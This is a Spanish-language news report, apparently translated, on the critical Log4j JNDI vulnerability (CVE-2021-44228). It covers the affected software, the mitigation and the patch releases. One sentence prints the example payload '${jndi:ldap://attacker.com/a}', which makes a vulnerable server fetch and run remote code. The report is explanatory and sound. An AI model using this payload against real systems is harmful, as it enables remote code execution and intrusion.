Vulnerabilidad catastrófica en Apache Log4j que afecta a muchos proyectos Java

En Apache Log4j, un marco popular para organizar el registro en aplicaciones Java, se ha identificado una vulnerabilidad crítica que permite ejecutar código arbitrario cuando se escribe en el registro un valor con formato especial en el formato "{jndi:URL}". El ataque se puede llevar a cabo en aplicaciones Java que registran valores recibidos de fuentes externas, por ejemplo, cuando muestran valores problemáticos en mensajes de error.

Cabe señalar que casi todos los proyectos que utilizan frameworks como Apache Struts, Apache Solr, Apache Druid o Apache Flink se ven afectados por el problema, incluidos los clientes y servidores Steam, Apple iCloud y Minecraft. Se espera que la vulnerabilidad pueda conducir a una ola de ataques masivos a aplicaciones corporativas, repitiendo la historia de vulnerabilidades críticas en el marco Apache Struts, que, según una estimación aproximada, es utilizado en aplicaciones web por el 65% de Fortune. 100 empresas, incluidos intentos de escanear la red en busca de sistemas vulnerables.

El problema se ve agravado por el hecho de que ya se ha publicado un exploit que funciona, pero aún no se han compilado las correcciones para las ramas estables. Aún no se ha asignado el identificador CVE. La solución solo se incluye en la rama de prueba log4j-2.15.0-rc1. Como solución alternativa para bloquear la vulnerabilidad, se recomienda establecer el parámetro log4j2.formatMsgNoLookups en verdadero.

El problema se debió al hecho de que log4j admite el procesamiento de máscaras especiales "{}" en las líneas de salida del registro, en las que se podían ejecutar consultas JNDI (Java Naming and Directory Interface). El ataque se reduce a pasar una cadena con la sustitución "${jndi:ldap://attacker.com/a}", al procesar la cual log4j enviará una solicitud LDAP para la ruta a la clase Java al servidor attacker.com . La ruta devuelta por el servidor del atacante (por ejemplo, http://first-stage.attacker.com/Exploit.class) se cargará y ejecutará en el contexto del proceso actual, lo que permite al atacante ejecutar código arbitrario en el sistema con los derechos de la aplicación actual.

Anexo 1: A la vulnerabilidad se le ha asignado el identificador CVE-2021-44228.

Anexo 2: Se ha identificado una forma de eludir la protección agregada por la versión log4j-2.15.0-rc1. Se ha propuesto una nueva actualización, log4j-2.15.0-rc2, con una protección más completa contra la vulnerabilidad. El código resalta el cambio asociado con la ausencia de una terminación anormal en el caso de utilizar una URL JNDI con formato incorrecto.

Fuente: opennet.ru

Añadir un comentario